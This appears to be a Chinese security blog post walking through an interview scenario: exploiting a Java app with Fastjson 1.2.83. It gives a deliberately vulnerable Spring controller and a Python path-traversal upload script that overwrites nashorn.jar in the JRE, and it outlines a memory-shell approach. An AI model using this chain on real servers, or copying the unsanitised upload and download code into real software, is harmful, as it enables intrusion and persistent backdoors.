文章总结: 本文档是一道Java安全面试题的解题思路分享。场景为:目标存在任意文件读写、Fastjson1.2.83(有白名单)、不出网、jar包部署。作者利用Fastjson的@type加载机制,结合任意读获取JRE路径,通过上传功能覆盖lib/ext目录下的nashorn.jar实现jar包替换,最终使用defineClass加载内存马完成不出网环境下的getshell。 综合评分: 78 文章分类: 渗透测试,漏洞分析,WEB安全,安全开发,实战经验
这道面试题,你的思路是什么?
原创
ptr ptr
UpRoot
2026年2月8日 23:22 江苏
前言
一道实习面试场景题:目标存在任意写/读、Fastjson没洞、不出网、jar包部署,你怎么打?
思考
类似于Fastjson用io链写文件,只不过这里的io链被替换为了任意写/读。
既然有Fastjson就可以通过@type对类进行加载,Fastjson没洞说明版本是1.2.83,存在白名单,对加载的类会进行check,但还是有解决办法的,就是通过懒加载jar包替换。
jar包替换就得知道lib/ext目录在哪,这时候任意读作用的就用来了,可以通过读Linux系统全文件路径数据库来解决jar包路径问题。
解题
本地写一个环境出来,漏洞代码如下:
package com.ptr.demo1.vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.UUID;
@RestController
publicclass vulController {
privatestaticfinal String UPLOAD_DIR = System.getProperty("user.dir") + "/uploads/";
@PostMapping("/api/login")
public String login(@RequestBody String jsonString){
try {
return JSON.parseObject(jsonString).toJSONString();
}catch (Exception e){
return e.getMessage();
}
}
@PostMapping("/api/upload")
public String upload(@RequestParam("file") MultipartFile file) {
if (file.isEmpty()) {
return"上传失败,请选择文件";
}
try {
String fileName = file.getOriginalFilename();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd/");
String datePath = sdf.format(new Date());
File dest = new File(UPLOAD_DIR + datePath + fileName);
if (!dest.getParentFile().exists()) {
dest.getParentFile().mkdirs();
}
file.transferTo(dest);
return"上传成功,文件路径: " + datePath + fileName;
} catch (IOException e) {
e.printStackTrace();
return"上传失败: " + e.getMessage();
}
}
@PostMapping("/api/download")
public ResponseEntity<Resource> download(String fileName) throws UnsupportedEncodingException {
File file = new File(UPLOAD_DIR + fileName);
if (!file.exists()) {
System.out.println(1);
return ResponseEntity.notFound().build();
}
String encodedFileName = URLEncoder.encode(file.getName(), "UTF-8").replaceAll("\\+", "%20");
HttpHeaders headers = new HttpHeaders();
headers.add(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename*=UTF-8''" + encodedFileName);
return ResponseEntity.ok()
.headers(headers)
.contentLength(file.length())
.contentType(MediaType.APPLICATION_OCTET_STREAM)
.body(new FileSystemResource(file));
}
}
通过任意读拿到jre路径:
构造一个恶意的jar,这里用的是nashorn.jar。
为了bypassFastjson的安全检测,需要指定类为@JSONType。
写一个python脚本进行可以跨目录的任意文件上传,覆盖原来的nashorn.jar。
import requests
url = "http://192.168.0.15:8089/api/upload"
files = {'file': ('../../../../../../../../../../../usr/lib/jvm/java-1.8.0-openjdk-1.8.0.362.b09-4.el9.x86_64/jre/lib/ext/nashorn.jar',open('nashorn.jar', 'rb'))}
response = requests.post(url, files=files,timeout=5)
print(response.text)
用defineClass直接打入内存马,实现不出网的shell。
– END –
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:UpRoot ptr ptr《这道面试题,你的思路是什么?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论